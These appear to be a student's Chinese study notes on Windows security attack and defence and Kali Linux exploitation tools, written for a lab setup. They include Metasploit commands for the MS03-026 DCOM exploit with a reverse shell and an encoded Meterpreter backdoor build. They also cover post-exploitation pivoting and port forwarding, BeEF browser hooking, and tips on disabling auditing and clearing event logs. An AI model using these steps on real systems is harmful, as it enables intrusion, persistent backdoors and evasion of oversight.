教材内容总结
第七章 Windows操作系统安全攻防
1、Windows操作系统基本框架
Windows操作系统的基本结构
分为运行于处理器特权模式的操作系统内核,以及运行在处理器非特权模式的用户空间代码。采用宏内核模式来进行构架,这使得任意的内核模块或设备驱动程序都可能破坏其他内核模块数据,这种宏内核机制也使得Windows操作系统容易遭受以驱动方式植入内核的Rootkit的危害。-
Windows操作系统内核基本模块:
- Windows执行体
- Windows内核体
- 设备驱动程序
- 硬件抽象层
- Windows窗口与图形界面接口内核实现代码
-
Windows操作系统内核中实现的核心机制:
- Windows进程和线程管理机制
- Windows内存管理机制
- Windows文件管理机制
- Windows注册表管理机制
- Windows的网络机制
2、Windows操作系统的安全体系结构与机制
-
Windows安全体系结构:
Windows操作系统基于引用监控器模型来实现基本的对象安全模型。 -
Windows身份认证机制:
Windows操作系统中以安全主题概念来包含所有进行系统资源访问请求的实体对象,有用户,用户组,和计算机三大类。 -
Windows授权与访问控制机制:
Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施。在Windows服务器操作系统中,用户可以执行内建的whoami命令来查看当前用户的访问令牌信息。 Windows对于系统中所有需保护的资源都抽象成对象,具体类型包括文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存、通信接口等,而对每个对象会关联一个SD安全描述符,SD安全描述符主要由如下主要属性组成。
(1)Owner SID:对象所有者的SID安全标识符。
(2)Group SID:对象所在基本用户组的SID安全标识符。
(3)DACL自主访问控制列表:指明了那些安全主体可以何种方式来访问该对象。
(4)SACL 系统审计访问控制列表:指明了那些主体发起的那些访问操作需要被审计。 -
Windows安全审计机制:
系统审计策略在本地安全策略中由系统管理员定义,来确定系统对那些事件进行记录。
3、Windows远程安全攻防技术
Windows远程攻击技术可以分为以下几类:远程口令猜测与破解攻击、攻破Windows网络服务、攻击Windows客户端及用户。
Windows系统的安全漏洞生命周期:
(1)Windows安全漏洞发现、利用与修补过程
(2)安全漏洞公开披露信息库
(3)针对特定目标的渗透测试攻击过程
(4)使用Metasploit软件实施渗透测试Windows远程口令猜测与破解攻击:
(1)远程口令自猜测
(2)远程口令字交换通信窃听与破解
(3)远程口令猜测与破解防范措施Windows网络服务远程渗透攻击:
(1)针对NetBIOS网络服务的著名漏洞及攻击
(2)针对SMB网络服务的著名漏洞及攻击
(3)针对MSRPC网络服务的著名漏洞及攻击
(4)针对Windows系统上微软网络服务的远程渗透攻击
(5)针对Windows系统上第三方网络服务的远程渗透攻击
4、Windows本地安全攻防技术
Windows本地特权提升:
在攻击者获得Windows系统上的受限用户权限之后,他们将立即着眼于获得终极特权:Administrator或者Local System账户。从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升。Windows系统上进行特权提升的攻击途径主要是通过DLL注入和破解本地程序安全漏洞。Windows敏感信息窃取:
Windows系统口令字密文提取技术、Windows系统口令字破解技术、用户敏感数据窃取、本地敏感信息窃取防范措施Windows消踪灭迹:
(1)关闭审计功能(Windows Resource Kit工具包里的auditpol程序可以让他们轻易地关闭审计功能)
(2)清理事件日志(使用Event Viewer事件查看器来打开、读取和清除这台主机上的事件日志)
使用Metasploit Console终端实施渗透测试过程。(攻击机kali(192.168.246.129),靶机Windows xp(192.168.246.128))
use exploit/windows/dcerpc/ms03_026_dcom
set PLAYLOAD generic/shell——reverse_tcp
set LHOST 192.168.246.129;set RHOST 192.168.246.128
exploit
Kali视频(26-30)学习
KaliSecurity - 漏洞利用之检索与利用
1. searchsploit
可以借助关键词搜索漏洞信息以及漏洞对应的exp,searchsploit wordpress列出了漏洞和文件地址。
相对文件目录是/usr/share/exploitdb/platforms
2. pattern create
测试漏洞
3. jboss-autopwn-linux/win
专门针对Jboss的漏洞利用工具
4. ikat
自动化开启,等待目标访问中招。
5. termineter
评估智能电表的安全性。
KaliSecurity - 漏洞利用之Metasploit基础
Metasploitable在渗透测试中经常被用到,实际上这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。
1. 启动服务
在Kali中使用Metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据查询exploit和记录。
service metasploit start
2. 路径介绍
Kali中msf的路径为/usr/share/metasploit-framework
- Auxiliary:辅助模块。
- encoders:供msfencode编码工具使用,具体可以使用 msfencode –l
- exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
- payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
- post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。
3. 基本命令
- msfpayload:用来生成payload或者shellcode。搜索时候可以用msfpayload -l |grep “windows”这样的命令来查询,-o选项可以列出payload所需的参数。
- msfencode:msf中的编码器,早期为了编码绕过AV现在常用msfpayload与它编码避免exploit的坏字符串。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
- msfconsole:开启metasploit的console
4. 测试示例:发现漏洞,搜索exploit
首先对目标进行版本扫描:nmap -sV 192.168.246.129
在msfconsole中搜索看Metasploit的ftp服务是否有漏洞
进入exploit,查看参数
配置信息:set LHOST 192.168.246.129;set RHOST 192.168.246.128
输入命令exploit 进行攻击
KaliSecurity - 漏洞利用之Meterpreter介绍
Meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。meterpreter作为后渗透模块有多中类型,并且命令由核心命令和扩展库命令组成,极大地丰富了攻击方式,其有很多有用的功能,如,添加一个用户,隐藏一些东西,打开shell,得到用户密码,上传下载远程主机的文件,运行cmd.exe,捕获屏幕,得到远程控制权,捕获按键信息,清除应用程序,显示远程主机的系统信息,显示远程及其的网络接口和IP地址等信息。
常见命令:
- background:将当前会话放置后台
- load/use:加载模块
- interact:切换进一个信道
- migrate:迁移进程
- run:执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本。
- resource:执行一个已有的rc脚本常用的meterpreter类型为:payload/windows/meterpreter/reverse_tcp。
常见命令使用
包括系统信息,抓取屏幕截图与抓取HASH等。
攻击步骤:
- 设置参数:
(1)msfconsole
(2)use exploit/multi/handler
(3)set payload windows/meterpreter/reverse_tcp
(4)set LHOST 192.168.246.129;set LPORT 2333
- 生成Meterpreter后门
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.246.129 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
但是设置成功后仍然无法使用
KaliSecurity - 漏洞利用之Metasploit后渗透测试
在跳板获取一定权限后需要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的Meterpreter后门,可以使系列的操作更容易。
- 查看当前网卡、网段信息:ifconfig
- 添加路由表:run autoroute -s 10.0.0.1。
- 开socket代理,通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,sqlmap,nmap使用,通过代理即可访问内网计算机
- 通过background和session -i可以*切换进入session
- 输入run可以看到在meterpreter上可以做的很多命令
- 通过run post/可以看到后渗透测试模块
- 获取内网信息:run arp_scanner -r 10.0.0.1/24
- 也可以上传文件,做端口转发后进行后续测试
- 应用程序/权限维持/Tunnel工具集
- 端口转发 upload lcx.exe c:
KaliSecurity - 漏洞利用之BeEF
XSS漏洞需要强大框架的支持,如网上的XSS平台。在Kali下,BeeF是一个不逊色于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。 - 命令行下启动Beef:beef-xss 。
此时浏览器自动访问此页面:http://127.0.0.1:3000/ui/authentication 。
(1)hock攻击
使用默认用户名beef与默认密码beef登录:
假设被测试主机由于XSS漏洞请求到http://127.0.0.1:3000/demos/basic.html
这个测试在访问了之后,Beef就会hock到信息
HOCK持续的时间到关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commends模块,可以完成很多任务。
其中,4种颜色分别表示:
绿色:该攻击模块可用,且隐蔽性强;
灰色:该攻击模块可用,但隐蔽性差;
橙色:该攻击模块是否可用还有待验证;
红色:该攻击模块不可用选取MISC下的Raw JavaScript模块作为测试用例,右端表格有该模块的详细说明,以及一些可选的参数等。输入JavaScript code,点击Excute进行攻击:
(2)Proxy功能
借助目标浏览器访问目标可以访问的地址。
利用use as Proxy设定主机代理,在Rider选项中的Forge Request当中编辑要发送的内容信息发送后,可通过History选项看到,待传输成功后,点击相应的信息,即可显示详细的传输过程:
(3)BeeF与Metasploit结合加载
首先打开beef xss目录
cd /usr/share/beef-xss/ ls
/usr/share/beef-xss/nano config.yaml /*- 编辑一下,可以看到有很多配置信息,包括用户名、密码都可以在这设置,在此将Metasploit的false修改为true
保证此处IP等信息设置正确(不适用127.0.0.1,需使用本机IP),并修改Custom路径:
cd extensions/metasploit/
ls
nano config.yaml / 将host和callback_host行的IP修改为本机IP,并修改custom路径为/usr/share/metasploit-framework/ */配置好后打开msfconsole,运行命令:
load msgrpc ServerHost=192.168.8.115 Pass=abc123执行./beef -x重新加载Metasploit的exploit模块
加载之后,重启下服务:service beef-xss restart,可以看到Metasploit下面多了很多可以使用的模块。